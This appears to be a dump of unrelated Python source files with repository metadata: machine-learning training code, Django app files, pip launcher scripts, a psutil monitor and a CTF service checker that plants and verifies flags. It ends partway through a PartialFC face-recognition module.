/robot_code/Nimbus_ws/build/robotiq_85_gripper_actions/catkin_generated/pkg.develspace.context.pc.py

5deddba43de547be76a27e50e515649c31ddd7ff

[]

no_license

lnairGT/Thesis_code

f3ad57f4344691227dcd128a741eb9c0e937738e

6f5dbfc2510272f294a0e9bb4273beceeacbff2a

refs/heads/master

2023-03-17T21:43:56.320553

2020-09-26T16:05:31

null

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# generated from catkin/cmake/template/pkg.context.pc.in CATKIN_PACKAGE_PREFIX = "" PROJECT_PKG_CONFIG_INCLUDE_DIRS = "".split(';') if "" != "" else [] PROJECT_CATKIN_DEPENDS = "".replace(';', ' ') PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else [] PROJECT_NAME = "robotiq_85_gripper_actions" PROJECT_SPACE_DIR = "/home/lnair3/Nimbus_ws/devel" PROJECT_VERSION = "0.0.1"

[ "lnair3@gatech.edu" ]

lnair3@gatech.edu

6e1ba496f5643843456002b2c52d9e8df006f364

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/classifier/run_lgbm_focalloss.py

c0220813c96455c66ca501b0d650df662112b9ea

[]

no_license

lxgend/Classification_Toolbox

32aa2e90d0f0a85e1c9487e9b167f1014ac4e743

7da4268f5b39865f8b12529d3e8589e752a2df79

refs/heads/master

2023-02-08T21:13:18.225932

2020-12-17T09:36:20

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# coding=utf-8 import joblib import lightgbm as lgb import numpy as np from scipy.misc import derivative from sklearn.metrics import classification_report from classifier.nets.wv import MODEL_FILE from data_processor.data2example import clf_data_processors from data_processor.example2dataset_vec import load_and_cache_examples_df from parm import * def focal_loss_lgb_sk(y_true, y_pred, alpha, gamma, num_class): """ Parameters: ----------- alpha, gamma: float objective(y_true, y_pred) -> grad, hess y_truearray-like of shape = [n_samples] The target values. y_predarray-like of shape = [n_samples] or shape = [n_samples * n_classes] (for multi-class task) The predicted values. """ a, g = alpha, gamma y_true = np.eye(num_class)[y_true.astype('int')] y_pred = y_pred.reshape(-1, num_class) def fl(x, t): p = 1 / (1 + np.exp(-x)) return -(a * t + (1 - a) * (1 - t)) * ((1 - (t * p + (1 - t) * (1 - p))) ** g) * ( t * np.log(p) + (1 - t) * np.log(1 - p)) partial_fl = lambda x: fl(x, y_true) # 求导数 grad = derivative(partial_fl, y_pred, n=1, dx=1e-6) hess = derivative(partial_fl, y_pred, n=2, dx=1e-6) # return grad.flatten('F'), hess.flatten('F') return grad, hess def focal_loss_lgb_eval_error_sk(y_true, y_pred, alpha, gamma, num_class): """ Adapation of the Focal Loss for lightgbm to be used as evaluation loss """ a, g = alpha, gamma y_true = np.eye(num_class)[y_true.astype('int')] y_pred = y_pred.reshape(-1, num_class, order='F') p = 1 / (1 + np.exp(-y_pred)) loss = -(a * y_true + (1 - a) * (1 - y_true)) * ((1 - (y_true * p + (1 - y_true) * (1 - p))) ** g) * ( y_true * np.log(p) + (1 - y_true) * np.log(1 - p)) return 'focal_loss', np.mean(loss), False def train(x_train, y_train): num_class =15 focal_loss = lambda y_true, y_pred: focal_loss_lgb_sk(y_true, y_pred, 0.25, 2., num_class) eval_error = lambda x, y: focal_loss_lgb_eval_error_sk(x, y, 0.25, 2., num_class) params = { 'boosting_type': 'gbdt', 'max_depth': 6, 'num_leaves': 60, 'n_estimators': 200, 'objective': focal_loss, # 'objective': 'multiclass', 'max_bin': 150, 'reg_alpha': 0.1, 'reg_lambda': 0.2, # 'class_weight':weight 'n_jobs': 8, 'learning_rate': 0.1, #'num_class':15 # 'silent': False } model = lgb.LGBMClassifier(**params) # model.fit(x_train, y_train, # eval_set=[(x_dev, y_dev)], # eval_metric=eval_error) model.fit(x_train, y_train) # from sklearn.model_selection import GridSearchCV # lg = lgb.LGBMClassifier(silent=False, verbose=-1) # # 评分函数 # mll_scorer = make_scorer(multiclass_logloss, greater_is_better=False, needs_proba=True) # # max_depth : 树最大深度，模型过拟合可以降低max_depth # # num_leaves: 取值应 <= 2 ^（max_depth），超过此值会导致过拟合 # # min_data_in_leaf # param_dist = {"max_depth": [10, 25, 50, 75], # "learning_rate": [0.01, 0.05, 0.1], # "num_leaves": [300, 500, 900, 1200], # "n_estimators": [150, 200, 250], # } # # parameters = { # 'max_depth': [15, 20, 25, 30, 35], # 'learning_rate': [0.01, 0.02, 0.05, 0.1, 0.15], # 'feature_fraction': [0.6, 0.7, 0.8, 0.9, 0.95], # 'bagging_fraction': [0.6, 0.7, 0.8, 0.9, 0.95], # 'bagging_freq': [2, 4, 5, 6, 8], # 'lambda_l1': [0, 0.1, 0.4, 0.5, 0.6], # 'lambda_l2': [0, 10, 15, 35, 40], # 'cat_smooth': [1, 10, 15, 20, 35] # } # with open('model_lgbm.pkl', mode='wb') as f: joblib.dump(model, f) def evaluate(x_dev, y_dev, model): # 模型预测 y_pred = model.predict(x_dev, num_iteration=model.best_iteration_) # 查看各个类别的准召 print(classification_report(y_dev, y_pred)) def main(args): # data init clf_data_processor = clf_data_processors[args.task_name](args.data_dir) args.id2label = clf_data_processor.get_labels() args.label2id = {label: i for i, label in enumerate(args.id2label)} num_labels = len(args.id2label) print('num_labels %d' % (num_labels)) print('model %s' % args.model_type) if args.model_type == 'fasttext_selftrain': import fasttext args.model = fasttext.load_model(os.path.join(PATH_MD_FT, 'model_ft_selftrain.pkl')) args.vec_dim = 200 else: args.model_path, args.vec_dim = MODEL_FILE[args.model_type] args.word2id, args.wv_model = load_model(args.model_path) if args.do_train: x_train, y_train = load_and_cache_examples_df(args, clf_data_processor, data_type='train') # print(len(x_train)) # print(len(x_train[0])) # print(y_train.shape) print('train_dataset %d' % len(y_train)) # x_dev, y_dev = load_and_cache_examples_df(args, clf_data_processor, data_type='dev') # train train(x_train, y_train) if args.do_eval: print('evaluate') x_dev, y_dev = load_and_cache_examples_df(args, clf_data_processor, data_type='dev') print('dev_dataset %d' % len(y_dev)) with open('model_lgbm.pkl', mode='rb') as f: model = joblib.load(f) evaluate(args, x_dev, y_dev, model) class Args(object): def __init__(self): self.task_name = 'tnews_vec' self.data_dir = PATH_DATA_TNEWS_PRE # self.output_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'finetuned') self.overwrite_cache = 1 self.max_seq_length = 42 # self.model_type = 'sg_tx' self.model_type = 'fasttext_selftrain' self.local_rank = -1 self.use_cpu = 0 self.do_train = 1 self.do_eval = 0 self.do_test = 0 if __name__ == '__main__': # args = get_argparse().parse_args() import time a = time.time() args = Args() # main2(args) main(args) print(time.time() - a)

[ "lx3103@gmail.com" ]

lx3103@gmail.com

23fe9c349d2bea9ee5b6c6cb3a0e3e09e58d4c6c

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/cpu_usage.py

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[]

no_license

itsayushisaxena/Python_Utilities

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refs/heads/master

2022-06-12T23:07:41.434551

2020-05-06T20:05:48

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##This code checks whether the CPU is under too much load or not import psutil #psutil (python system and process utilities) is a cross-platform #library for retrieving information on running processes and #system utilization (CPU, memory, disks, network, sensors) in Python. def check_cpu_usage(percent): #cpu_percent() return a float representing the current system-wide #CPU utilization as a percentage. usage = psutil.cpu_percent(interval = 1) print("DEBUG: usage:{}".format(usage)) return usage < percent if not check_cpu_usage(75): print("ERROR!CPU is overloaded") else: print("Everything ok") # gives a single float value print(psutil.cpu_percent()) # gives an object with many fields print(psutil.virtual_memory()) #physical memory usage # you can convert that object to a dictionary print(dict(psutil.virtual_memory()._asdict())) print('memory % used:', psutil.virtual_memory()[2])

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itsayushisaxena.noreply@github.com

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/merc/checker/checker.py

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[]

no_license

n57uctf/yetictf-2021

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6def7043b0c40076aa86d86bfde533de2742e290

refs/heads/main

2023-04-10T23:51:40.890494

2021-04-21T04:17:29

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#!/usr/bin/env python3 import sys import requests import re import math from bs4 import BeautifulSoup from merclib import * def check(host): chk = CheckMachine(host) login = rnd_username() passwd = rnd_password() chk.register_user(login,passwd) sess = chk.login_user(login,passwd) ctype = chk.currency_type(sess) chk.mine_one(sess, ctype) cquit(Status.OK, "OK",f'{login}:{passwd}') def put_flag1(host, flag): chk = CheckMachine(host) login = rnd_username() passwd = rnd_password() chk.register_user(login,passwd) sess = chk.login_user(login,passwd) ctype = chk.currency_type(sess) chk.mine_one(sess,ctype) req = sess.post(f'{chk.url}/management/transactions', data = {"type": ctype,"amount": "0.01","recv_login": "tellers2006","message": flag}) check_response(req, 'Could not send currency') soup = BeautifulSoup(req.text, 'html.parser') table = soup.findAll('td', text = re.compile(flag)) if not table: cquit(Status.MUMBLE, 'Couldn\'t send message') else: cquit(Status.OK, f"{login}",f'{login}:{passwd}') def get_flag1(host, flag, flag_id): chk = CheckMachine(host) login, passwd = flag_id.strip().split(":") sess = chk.login_user(login,passwd) req = sess.get(f'{chk.url}/management/transactions') check_response(req, 'Could not get transaction messages') soup = BeautifulSoup(req.text, 'html.parser') table = soup.findAll('td', text = re.compile(flag)) if not table: cquit(Status.CORRUPT, 'Couldn\'t find flag in transaction message') else: cquit(Status.OK, 'OK') def put_flag2(host, flag): chk = CheckMachine(host) login = rnd_username() passwd = rnd_password() amount = 1 curr_amount = 0 result = 0 chk.register_user(login,passwd) sess = chk.login_user(login,passwd) #ctype = chk.currency_type(sess) ctype = 'coins' while result!=1: result = chk.mine(sess,amount,curr_amount,ctype) req = sess.post(f'{chk.url}/casinoe/VIP_page', data = {"email": login, "message": flag}) check_response(req, 'Could not send application') soup = BeautifulSoup(req.text, 'html.parser') table = soup.findAll('h4', text = re.compile(flag)) if not table: cquit(Status.MUMBLE, 'Couldn\'t send message') else: cquit(Status.OK, f"{login}", f'{login}:{passwd}') def get_flag2(host, flag, flag_id): chk = CheckMachine(host) login, passwd = flag_id.strip().split(":") sess = chk.login_user(login,passwd) req = sess.get(f'{chk.url}/casinoe/VIP_page') check_response(req, 'Could not get application text') soup = BeautifulSoup(req.text, 'html.parser') table = soup.findAll('h4', text = re.compile(flag)) if not table: cquit(Status.CORRUPT, 'Couldn\'t find flag in application message') else: cquit(Status.OK, 'OK') if __name__ == '__main__': action, *args = sys.argv[1:] try: if action == 'check': host, = args check(host) elif action == 'put': host, flag_id, flag, vuln_number = args if vuln_number == '1': put_flag1(host, flag) else: put_flag2(host, flag) elif action == 'get': host, flag_id, flag, vuln_number = args if vuln_number == '1': get_flag1(host, flag, flag_id) else: get_flag2(host, flag, flag_id) else: cquit(Status.ERROR, 'System error', 'Unknown action: ' + action) cquit(Status.ERROR) except (requests.exceptions.ConnectionError, requests.exceptions.ConnectTimeout): cquit(Status.DOWN, 'Connection error') except SystemError as e: raise except Exception as e: cquit(Status.ERROR, 'System error', str(e))

[ "rudkovskiyalex@gmail.com" ]

rudkovskiyalex@gmail.com

d81e23a2907a7d07f2afa16bf3158c280073b0b7

26c744710944c807d75e14d321fcdb796dc723d8

/env/Lib/site-packages/dash_bootstrap_components/_components/Col.py

e74c8bd8e7c17c32464a721cb7d3d0fd0a852125

[]

no_license

12JoshiMukesh/ServiceNowDashboard

2aa0f7031021f43d3160bc048103d114c230dc5e

0685dcceb082c6a9b68255e95573b664d3fee343

refs/heads/master

2023-08-04T17:04:46.449153

2021-09-25T06:18:14

408,410,106

1

2

null

UTF-8

Python

false

4,650

py

# AUTO GENERATED FILE - DO NOT EDIT from dash.development.base_component import Component, _explicitize_args class Col(Component): """A Col component. Component for creating Bootstrap columns to control the layout of your page. Use the width argument to specify width, or use the breakpoint arguments (xs, sm, md, lg, xl) to control the width of the columns on different screen sizes to achieve a responsive layout. Keyword arguments: - children (a list of or a singular dash component, string or number; optional): The children of this component. - id (string; optional): The ID of this component, used to identify dash components in callbacks. The ID needs to be unique across all of the components in an app. - align (a value equal to: 'start', 'center', 'end', 'stretch', 'baseline'; optional): Set vertical alignment of this column's content in the parent row. Options are 'start', 'center', 'end', 'stretch', 'baseline'. - className (string; optional): Often used with CSS to style elements with common properties. - key (string; optional): A unique identifier for the component, used to improve performance by React.js while rendering components See https://reactjs.org/docs/lists-and-keys.html for more info. - lg (optional): Specify column behaviour on a large screen. Valid arguments are boolean, an integer in the range 1-12 inclusive, or a dictionary with keys 'offset', 'order', 'size'. See the documentation for more details. - loading_state (dict; optional): Object that holds the loading state object coming from dash-renderer. `loading_state` is a dict with keys: - component_name (string; optional): Holds the name of the component that is loading. - is_loading (boolean; optional): Determines if the component is loading or not. - prop_name (string; optional): Holds which property is loading. - md (optional): Specify column behaviour on a medium screen. Valid arguments are boolean, an integer in the range 1-12 inclusive, or a dictionary with keys 'offset', 'order', 'size'. See the documentation for more details. - sm (optional): Specify column behaviour on a small screen. Valid arguments are boolean, an integer in the range 1-12 inclusive, or a dictionary with keys 'offset', 'order', 'size'. See the documentation for more details. - style (dict; optional): Defines CSS styles which will override styles previously set. - width (optional): Specify the width of the column. Behind the scenes this sets behaviour at the xs breakpoint, and will be overriden if xs is specified. Valid arguments are boolean, an integer in the range 1-12 inclusive, or a dictionary with keys 'offset', 'order', 'size'. See the documentation for more details. - xl (optional): Specify column behaviour on an extra large screen. Valid arguments are boolean, an integer in the range 1-12 inclusive, or a dictionary with keys 'offset', 'order', 'size'. See the documentation for more details. - xs (optional): Specify column behaviour on an extra small screen. Valid arguments are boolean, an integer in the range 1-12 inclusive, or a dictionary with keys 'offset', 'order', 'size'. See the documentation for more details.""" @_explicitize_args def __init__(self, children=None, id=Component.UNDEFINED, style=Component.UNDEFINED, className=Component.UNDEFINED, key=Component.UNDEFINED, width=Component.UNDEFINED, xs=Component.UNDEFINED, sm=Component.UNDEFINED, md=Component.UNDEFINED, lg=Component.UNDEFINED, xl=Component.UNDEFINED, align=Component.UNDEFINED, loading_state=Component.UNDEFINED, **kwargs): self._prop_names = ['children', 'id', 'align', 'className', 'key', 'lg', 'loading_state', 'md', 'sm', 'style', 'width', 'xl', 'xs'] self._type = 'Col' self._namespace = 'dash_bootstrap_components' self._valid_wildcard_attributes = [] self.available_properties = ['children', 'id', 'align', 'className', 'key', 'lg', 'loading_state', 'md', 'sm', 'style', 'width', 'xl', 'xs'] self.available_wildcard_properties = [] _explicit_args = kwargs.pop('_explicit_args') _locals = locals() _locals.update(kwargs) # For wildcard attrs args = {k: _locals[k] for k in _explicit_args if k != 'children'} for k in []: if k not in args: raise TypeError( 'Required argument `' + k + '` was not specified.') super(Col, self).__init__(children=children, **args)

[ "MAILNDG@REDIFF.com" ]

MAILNDG@REDIFF.com

b5330606886b1e17f9c48c5b8b435ce85f4c5b24

5974396434d3cbff785f696b80d27e6fc92c7ffd

/posts/urls.py

e75b65c76d911c104716de59e714a82cbd8fe3ec

[]

no_license

thevivekshukla/django-blog

66a5a8e319269e627da7840626b433c40e2faa42

f521e2e72789cb3cdd85d5b2ccab9c2bdd204f66

refs/heads/master

2021-01-01T16:24:39.907564

2017-09-11T09:44:54

97,830,071

2

0

null

UTF-8

Python

false

577

py

from django.conf.urls import url from . import views app_name = 'posts' urlpatterns = [ url(r'^post/new/$', views.post_create, name='post_create'), url(r'^(?P<slug>[\w-]+)/$', views.post_detail, name='post_detail'), url(r'^$', views.post_list, name='post_list'), url(r'^(?P<slug>[\w-]+)/edit/$', views.post_update, name='post_update'), url(r'^(?P<slug>[\w-]+)/delete/$', views.post_delete, name='post_delete'), url(r'^post/draft/$', views.post_draft, name="post_draft"), url(r'^post/published/$', views.post_published, name="post_published"), ]

[ "viv3kshukla@gmail.com" ]

viv3kshukla@gmail.com

8da6c731d5e0553722f2e56ef3a7a028a86cce95

4ca8df3a127e9b15cbfecea6505928741f685a63

/gongfei/month03/Django/onlybuy/OnlyBuy/goods/migrations/0002_goods_saller.py

d6b69407f107d03ed0eace38b76d59329ac825ea

[]

no_license

gongfei6644/gongfei

2beb082c56197bc23ca20a6927ff6c10d8beaa83

bfdd5e6a3a8d76ad1e43cf54df186b944cad29e4

refs/heads/master

2022-11-30T20:49:22.213040

2020-08-16T12:52:28

286,283,597

0

null

UTF-8

Python

false

648

py

# -*- coding: utf-8 -*- # Generated by Django 1.11.8 on 2019-06-19 14:35 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('goods', '0001_initial'), ] operations = [ migrations.AddField( model_name='goods', name='saller', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), ), ]

[ "1" ]

1

72e6050d6c33d356d46e738ec6c5040e26acc627

fea4df9f31e62d7fc1adf0a5ca08c017cce504c1

/site_experiences/admin.py

b85e9c2ffdea9f247944eba23d694ef359d65798

[]

no_license

tahericode/personal-site-with-django

47eec11c243d047ced7bb997913b53c902913b23

0f1a4fc7aa1489487fdae174b4b75c4ab037106d

refs/heads/main

2023-07-07T07:29:10.454706

2021-08-03T19:48:37

392,434,831

1

0

null

UTF-8

Python

false

126

py

from django.contrib import admin # Register your models here. from .models import Experience admin.site.register(Experience)

[ "mrtcode2@gmail.com" ]

mrtcode2@gmail.com

6267d7aa1c8e47d9c979f168d10dee757731de26

6a08edd0e30d12eb89e8de486e2d2d0dddff74d7

/run_experiments/general_utils/lightgbm_optimizer.py

07f654e8ef7d6c22e4eed79240bb1347e38b469c

[]

no_license

jrzaurin/tabulardl-benchmark

63b0fa2c046f9900a51b0223a884c475ac66b17f

ceb7b7f8bc90666b2d010fe570a77eb3ff2dde78

refs/heads/master

2023-05-29T11:29:30.371284

2021-06-12T16:32:20

356,328,779

46

7

null

2021-06-10T16:44:51

2021-04-09T16:08:21

Python

UTF-8

Python

false

6,539

py

import warnings from typing import Any, Dict, Optional import lightgbm as lgb import pandas as pd from hyperopt import Trials, fmin, hp, space_eval, tpe from lightgbm import Dataset as lgbDataset from optuna.integration.lightgbm import LightGBMTunerCV from sklearn.metrics import log_loss, mean_squared_error warnings.filterwarnings("ignore") class LGBOptimizerHyperopt(object): def __init__( self, objective: str = "binary", is_unbalance: bool = False, verbose: bool = False, num_class: Optional[int] = None, ): self.objective = objective if objective == "multiclass" and not num_class: raise ValueError("num_class must be provided for multiclass problems") self.num_class = num_class self.is_unbalance = is_unbalance self.verbose = verbose self.early_stop_dict: Dict = {} def optimize( self, dtrain: lgbDataset, deval: lgbDataset, maxevals: int = 200, ): if self.objective == "regression": self.best = lgb.LGBMRegressor().get_params() else: self.best = lgb.LGBMClassifier().get_params() del (self.best["silent"], self.best["importance_type"]) param_space = self.hyperparameter_space() objective = self.get_objective(dtrain, deval) objective.i = 0 trials = Trials() best = fmin( fn=objective, space=param_space, algo=tpe.suggest, max_evals=maxevals, trials=trials, verbose=self.verbose, ) self.trials = trials best = space_eval(param_space, trials.argmin) best["n_estimators"] = int(best["n_estimators"]) best["num_leaves"] = int(best["num_leaves"]) best["min_child_samples"] = int(best["min_child_samples"]) best["verbose"] = -1 best["objective"] = self.objective self.best.update(best) def get_objective(self, dtrain: lgbDataset, deval: lgbDataset): def objective(params: Dict[str, Any]) -> float: # hyperopt casts as float params["n_estimators"] = int(params["n_estimators"]) params["num_leaves"] = int(params["num_leaves"]) params["min_child_samples"] = int(params["min_child_samples"]) params["verbose"] = -1 params["seed"] = 1 params["feature_pre_filter"] = False params["objective"] = self.objective if self.objective != "regression": params["is_unbalance"] = self.is_unbalance if self.objective == "multiclass": params["num_class"] = self.num_class model = lgb.train( params, dtrain, valid_sets=[deval], early_stopping_rounds=50, verbose_eval=False, ) preds = model.predict(deval.data) if self.objective != "regression": score = log_loss(deval.label, preds) elif self.objective == "regression": score = mean_squared_error(deval.label, preds) objective.i += 1 # type: ignore return score return objective def hyperparameter_space( self, param_space: Dict[str, Any] = None ) -> Dict[str, Any]: space = { "learning_rate": hp.uniform("learning_rate", 0.01, 0.3), "n_estimators": hp.quniform("n_estimators", 100, 1000, 50), "num_leaves": hp.quniform("num_leaves", 20, 200, 10), "min_child_samples": hp.quniform("min_child_samples", 20, 100, 20), "colsample_bytree": hp.uniform("colsample_bytree", 0.5, 1.0), "reg_alpha": hp.choice( "reg_alpha", [0.01, 0.05, 0.1, 0.2, 0.4, 1.0, 2.0, 4.0, 10.0] ), "reg_lambda": hp.choice( "reg_lambda", [0.01, 0.05, 0.1, 0.2, 0.4, 1.0, 2.0, 4.0, 10.0] ), } if param_space: return param_space else: return space class LGBOptimizerOptuna(object): def __init__( self, objective: str = "binary", is_unbalance: bool = False, verbose: bool = False, num_class: Optional[int] = None, ): self.objective = objective if objective == "multiclass" and not num_class: raise ValueError("num_class must be provided for multiclass problems") self.num_class = num_class self.is_unbalance = is_unbalance self.verbose = verbose self.best: Dict[str, Any] = {} # Best hyper-parameters def optimize(self, dtrain: lgbDataset, deval: lgbDataset): # Define the base parameters if self.objective == "binary": params: Dict = {"objective": self.objective} elif self.objective == "multiclass": params: Dict = {"objective": self.objective, "metric": "multi_logloss"} elif self.objective == "regression": params: Dict = {"objective": self.objective, "metric": "rmse"} if self.verbose: params["verbosity"] = 1 else: params["verbosity"] = -1 if self.objective != "regression": params["is_unbalance"] = self.is_unbalance if self.objective == "multiclass": params["num_class"] = self.num_class # Reformat the data for LightGBM cross validation method train_set = lgb.Dataset( data=pd.concat([dtrain.data, deval.data]).reset_index(drop=True), label=pd.concat([dtrain.label, deval.label]).reset_index(drop=True), categorical_feature=dtrain.categorical_feature, free_raw_data=False, ) train_index = range(len(dtrain.data)) valid_index = range(len(dtrain.data), len(train_set.data)) # Run the hyper-parameter tuning self.tuner = LightGBMTunerCV( params=params, train_set=train_set, folds=[(train_index, valid_index)], verbose_eval=False, num_boost_round=1000, early_stopping_rounds=50, ) self.tuner.run() self.best = self.tuner.best_params # since n_estimators is not among the params that Optuna optimizes we # need to add it manually. We add a high value since it will be used # with early_stopping_rounds self.best["n_estimators"] = 1000 # type: ignore

[ "jrzaurin@gmail.com" ]

jrzaurin@gmail.com

056d8d16c6915c205d1ad27aa3394b8c877a91cb

d1b1c6ef92e1cd650c1479d0900d7f0ca599772d

/hello_django/hello/urls.py

ff27f829836724536d4386cfff89c4d835c02e31

[]

no_license

MaFengWoXiaoZi/django_learning

30005d5c88fe646d4c9ac9c0e98cc3dacef06b22

fae7c6e957aede7a160c115dd2867e5b430b7c62

refs/heads/master

2021-09-05T19:36:51.263932

2018-01-30T15:43:50

115,636,602

0

null

UTF-8

Python

false

1,293

py

from django.core.urlresolvers import reverse """hello_django URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.9/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Add an import: from blog import urls as blog_urls 2. Import the include() function: from django.conf.urls import url, include 3. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls)) """ from django.conf.urls import url, include from hello import views staticmethod urlpatterns = [ url(r'^hello/$', views.hello, {'a': '123'}), url(r'^test/\d{2}/$', 'hello.views.test'), url(r'^test2/(?P<id>\d{2})/$', 'hello.views.test2'), url(r'^test3/(?P<id>\d{2})/(?P<key>\w+)/$', 'hello.views.test3'), ] #urlpatterns = [ # url(r'^hello/$', 'hello.views.hello', {'a': '123'}) #] # The way is not recommended #from django.conf.urls import patterns #from hello import views # #urlpatterns = patterns('', # (r'^hello/$', views.hello), #)

[ "mafengwoxiaozi@gmail.com" ]

mafengwoxiaozi@gmail.com

c002bc2b4eb785c4ce7ad08f53bfcf002e3a8920

cb0c6a71c47b78cf0511fafc8e31deafcd77dbf2

/pages 0-100/first_letter.py

c48501988f2a12bd130cf86dfb407a88ca4866b5

[]

no_license

kaismithereens/realpython

123ef939c1822508980ba8a042d5d1ed442c2e75

7c57efbe12a3eaa4e8245b72486a77fc2cf78c74

refs/heads/master

2021-04-27T08:50:01.159261

2018-11-03T10:30:40

122,499,501

0

null

UTF-8

Python

false

102

py

user_input = input("Tell me your password: ") first_letter = user_input[0].upper() print(first_letter)

[ "kai.nevermind@gmail.com" ]

kai.nevermind@gmail.com

c72ad5c70ed4a19f205806882e71fa796e64c8e9

b565bb62e123bf42644c9c72f86077238b02f2c1

/myproyect/bin/pip

69d69d0c94541a00587fc6cb6b510fa15e7a974e

[]

no_license

grupo0331/my-first-blog

6bb569aab4e338d31f5935a4708fc60793741c58

5b502bb34192bfd7afd2f467ef79a31b14d753a9

refs/heads/master

2020-05-30T07:48:59.206361

2019-06-03T14:42:39

189,539,031

1

0

null

UTF-8

Python

false

240

#!/home/daw/proyecto/myproyect/bin/python3 # -*- coding: utf-8 -*- import re import sys from pip._internal import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(main())

[ "grupo.0331@gmail.com" ]

grupo.0331@gmail.com

067a8fe4686266d56354a64f364a4c13e4adb852

a6da6e69b75cea41c90b6aa497896d379cfbac9c

/neural_nets/mnist/web/load.py

c03c357a9950cba2e88bbe111da7141b29242af2

[]

no_license

grozail/otto-eilert

ee898c285688b87158c41c3b596ebeaca1e74f70

bb36429faeda671d4e7e126ff1d73212813f6039

refs/heads/master

2021-08-27T22:33:20.762926

2017-12-04T13:33:00

113,045,915

0

null

UTF-8

Python

false

619

py

import numpy as np import keras.models from keras.models import model_from_json from scipy.misc import imread, imresize, imshow import tensorflow as tf def init(): json_file = open('model.json', 'r') loaded_model_json = json_file.read() json_file.close() loaded_model = model_from_json(loaded_model_json) # load woeights into new model loaded_model.load_weights("model.h5") print("Loaded Model from disk") loaded_model.compile(loss='categorical_crossentropy', optimizer='adadelta', metrics=['accuracy']) graph = tf.get_default_graph() return loaded_model, graph

[ "grozail@yandex.ru" ]

grozail@yandex.ru

9e4a6f3e8b974eb720523b31486a9285b279b22f

c7219c4d42071b623782522c5620b7cccbf38747

/venv/Scripts/pip3-script.py

0c2f3987f3d8952c8783d6f27fc28f092f75bc6c

[]

no_license

hongli9388/auto-register

f62c8900e45ce18ad7c3759b72d9ef74b86b7493

7f0a21b60db14c4b8c72e924a17a1ecd943d4296

refs/heads/master

2022-12-16T17:06:22.058761

2019-01-18T06:31:50

164,560,647

0

null

2022-12-08T01:32:44

2019-01-08T04:28:05

Python

UTF-8

Python

false

410

py

#!E:\pycharm_home\auto_test_register_api\venv\Scripts\python.exe # EASY-INSTALL-ENTRY-SCRIPT: 'pip==9.0.1','console_scripts','pip3' __requires__ = 'pip==9.0.1' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit( load_entry_point('pip==9.0.1', 'console_scripts', 'pip3')() )

[ "hongli9388@163.com" ]

hongli9388@163.com

690ddbacd49f54be38fe169b8cab0f1ee0eb2081

60766ab0ba3157d9eca0118bc3cfdb93011848c9

/code/insightface/arcface_torch/partial_fc.py

13c427a3e1eff684464b08664895e64931cbcbd9

[]

no_license

wujiekd/Face_recognition_cnn

d63cb8b953b78b3bdabdfeaf1b5471579e9b2fbc

229b18a8eea1bcc3362f050cb3af2bc92beeaae5

refs/heads/main

2023-07-15T21:51:20.734410

2021-09-04T06:09:45

403,071,269

1

0

null

2021-09-04T14:02:34

2021-09-04T14:02:33

null

UTF-8

Python

false

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# -*- coding: utf-8 -*- import logging import os import torch #import torch.distributed as dist from torch.nn import Module from torch.nn.functional import normalize, linear from torch.nn.parameter import Parameter class PartialFC(Module): """ Author: {Xiang An, Yang Xiao, XuHan Zhu} in DeepGlint, Partial FC: Training 10 Million Identities on a Single Machine See the original paper: https://arxiv.org/abs/2010.05222 """ @torch.no_grad() def __init__(self, rank, local_rank, world_size, batch_size, resume, margin_softmax, num_classes, sample_rate=1.0, embedding_size=512, prefix="./"): """ rank: int Unique process(GPU) ID from 0 to world_size - 1. local_rank: int Unique process(GPU) ID within the server from 0 to 7. world_size: int Number of GPU. batch_size: int Batch size on current rank(GPU). resume: bool Select whether to restore the weight of softmax. margin_softmax: callable A function of margin softmax, eg: cosface, arcface. num_classes: int The number of class center storage in current rank(CPU/GPU), usually is total_classes // world_size, required. sample_rate: float The partial fc sampling rate, when the number of classes increases to more than 2 millions, Sampling can greatly speed up training, and reduce a lot of GPU memory, default is 1.0. embedding_size: int The feature dimension, default is 512. prefix: str Path for save checkpoint, default is './'. """ super(PartialFC, self).__init__() # self.num_classes: int = num_classes self.rank: int = rank self.local_rank: int = local_rank self.device: torch.device = torch.device("cuda:{}".format(self.local_rank)) self.world_size: int = world_size self.batch_size: int = batch_size self.margin_softmax: callable = margin_softmax self.sample_rate: float = sample_rate self.embedding_size: int = embedding_size self.prefix: str = prefix self.num_local: int = num_classes // world_size + int(rank < num_classes % world_size) self.class_start: int = num_classes // world_size * rank + min(rank, num_classes % world_size) self.num_sample: int = int(self.sample_rate * self.num_local) self.weight_name = os.path.join(self.prefix, "rank_{}_softmax_weight.pt".format(self.rank)) self.weight_mom_name = os.path.join(self.prefix, "rank_{}_softmax_weight_mom.pt".format(self.rank)) if resume: try: self.weight: torch.Tensor = torch.load(self.weight_name) self.weight_mom: torch.Tensor = torch.load(self.weight_mom_name) if self.weight.shape[0] != self.num_local or self.weight_mom.shape[0] != self.num_local: raise IndexError logging.info("softmax weight resume successfully!") logging.info("softmax weight mom resume successfully!") except (FileNotFoundError, KeyError, IndexError): self.weight = torch.normal(0, 0.01, (self.num_local, self.embedding_size), device=self.device) self.weight_mom: torch.Tensor = torch.zeros_like(self.weight) logging.info("softmax weight init!") logging.info("softmax weight mom init!") else: self.weight = torch.normal(0, 0.01, (self.num_local, self.embedding_size), device=self.device) self.weight_mom: torch.Tensor = torch.zeros_like(self.weight) logging.info("softmax weight init successfully!") logging.info("softmax weight mom init successfully!") self.stream: torch.cuda.Stream = torch.cuda.Stream(local_rank) self.index = None if int(self.sample_rate) == 1: self.update = lambda: 0 self.sub_weight = Parameter(self.weight) self.sub_weight_mom = self.weight_mom else: self.sub_weight = Parameter(torch.empty((0, 